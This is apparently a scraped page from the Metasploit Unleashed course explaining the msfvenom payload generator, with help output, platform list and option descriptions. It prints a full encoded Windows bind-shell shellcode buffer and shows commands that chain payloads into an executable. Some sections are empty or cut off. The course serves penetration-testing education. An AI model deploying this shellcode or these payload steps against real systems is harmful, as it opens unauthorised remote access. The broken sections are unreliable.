MSFvenom Metasploit Unleashed Level 1
MSFvenom Metasploit Unleashed Level 1
com/metasploit-unleashed/msfvenom/
Using the MSFvenom Command Line
Interface
msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a
single Framework instance. Note:
Increased speed
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
MSFvenom command line usage
We can see an example of the msfvenom command line below and its output:
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"
buf += "\xe7\x31\x16\x82\xf6\xe2\x89\x89\x75\x67\xf7\xaa\xae"
buf += "\x73\x88\x3f\xf5\x6d\x3d\x9e\xab\x06\xda\xff\x42\x7a"
buf += "\x63\x6b\x72\x59\xf6\x58\xa5\xfe\x3f\x0b\x41\xa0\xf2"
buf += "\xfe\x2d\xc9\x32\x3d\xd4\x51\xf7\xa7\x56\xf8\x69\x08"
buf += "\x4d\x27\x8a\x2e\x19\x99\x7c\xfc\x63\xfa\x5c\xd5\xa8"
buf += "\x1f\xa8\x9b\x88\xbb\xa5\x3c\x8f\x7f\x38\x45\xd1\x71"
buf += "\x34\x59\x84\xb0\x97\xa0\x99\xcc\xfe\x7f\x37\xe2\x28"
buf += "\xea\x57\x01\xcf\xf8\x1e\x1e\xd8\xd3\x05\x67\x73\xf9"
buf += "\x32\xbb\x76\x8c\x7c\x2f\xf6\x29\x0f\xa5\x36\x2e\x73"
buf += "\xde\x31\xc3\xfe\xae\x49\x64\xd2\x39\xf1\xf2\xc7\xa0"
buf += "\x06\xd3\xf6\x1a\xfe\x0a\xfe\x28\xbe\x1a\x42\x9c\xde"
buf += "\x01\x16\x27\xbd\x29\x1c\xf8\x7d\x47\x2c\x68\x06\x0e"
buf += "\x23\x31\xfe\x7d\x58\xe8\x7b\x76\x4b\xfe\xdb\x17\x51"
buf += "\xfa\xdf\xff\xa1\xbc\xc5\x66\x4b\xea\x23\x86\x47\xb4"
buf += "\xe7\xd5\x71\x77\x2e\x24\x4a\x3d\xb1\x6f\x12\xf2\xb2"
buf += "\xd0\x55\xc9\x23\x2e\xc2\xa5\x73\xb2\xc8\xb7\x7d\x6b"
buf += "\x55\x29\xbc\x26\xdd\xf6\xe3\xf6\x25\xc6\x5c\xad\x9c"
buf += "\x9d\x18\x08\x3b\xbf\xd2\xff\x92\x18\x5f\x48\x9b\xe0"
buf += "\x7b\x03\xa5\x32\x11\x27\x2b\x25\xcd\x44\xdb\xbd\xb9"
buf += "\xcd\x48\xda\x56\x4c\x56\xd5\x04\x87\x48\x3a\x6b\x9c"
buf += "\x2a\x15\x4d\xbc\x0b\x56\x06\xb5\xc9\x46\xd0\xfa\x68"
buf += "\xa6\x76\xe9\x52\x2c\x24\x62\x28\xe1\x1d\x87\xb0\x66"
buf += "\x93\x85\x8f\x87\x0f\xcf\x16\x29\x76\x03\x55\x0c\x0e"
buf += "\x3f\x17\xac"
The msfvenom command and resulting shellcode above generates a Windows bind shell with
three iterations of the shikata_ga_nai encoder without any null bytes and in the python format.
MSFvenom Platforms
Here is a list of available platforms one can enter when using the –platform switch.
Cisco or cisco
OSX or osx
Solaris or solaris
BSD or bsd
OpenBSD or openbsd
Firefox or firefox
BSDi or bsdi
NetBSD or netbsd
NodeJS or nodejs
FreeBSD or freebsd
Python or python
AIX or aix
JavaScript or javascript
HPUX or hpux
PHP or php
Irix or irix
Unix or unix
Linux or linux
Ruby or ruby
Java or java
Android or android
Netware or netware
Windows or windows
MSFvenom options and uses
msfvenom -v or –var-name
Specify a custom variable name to use for certain output formats. Assigning a name will change
the output’s variable from the default “buf” to whatever word you supplied.
<snip>
msfvenom –help-format
Issuing the msfvenom command with this switch will output all available payload formats.
BEFORE:
AFTER:
msfvenom –smallest
If the “smallest” switch is used, msfvevom will attempt to create the smallest shellcode possible
using the
selected encoder and payload.
Payload #1:
root@kali:~# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox
No encoder or badchars specified, outputting raw payload
Payload size: 267 bytes
root@kali:~# msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw
Adding shellcode from messageBox to the payload
No encoder or badchars specified, outputting raw payload
Payload size: 850 bytes
Running the “cookies.exe” file will execute both message box payloads, as well as the bindshell
using default settings (port 4444).
Metasploit Unleashed
Introduction
Metasploit Fundamentals
Information Gathering
Vulnerability Scanning
Exploit Development
Exploit Format
Exploit Mixins
Exploit Targets
Exploit Payloads
MSFvenom
MSFpayload
MSFencode
Alphanumeric Shellcode
MSFrop
Writing an Exploit
Getting a Shell
Porting Exploits
Meterpreter Scripting
Maintaining Access
Metasploit GUIs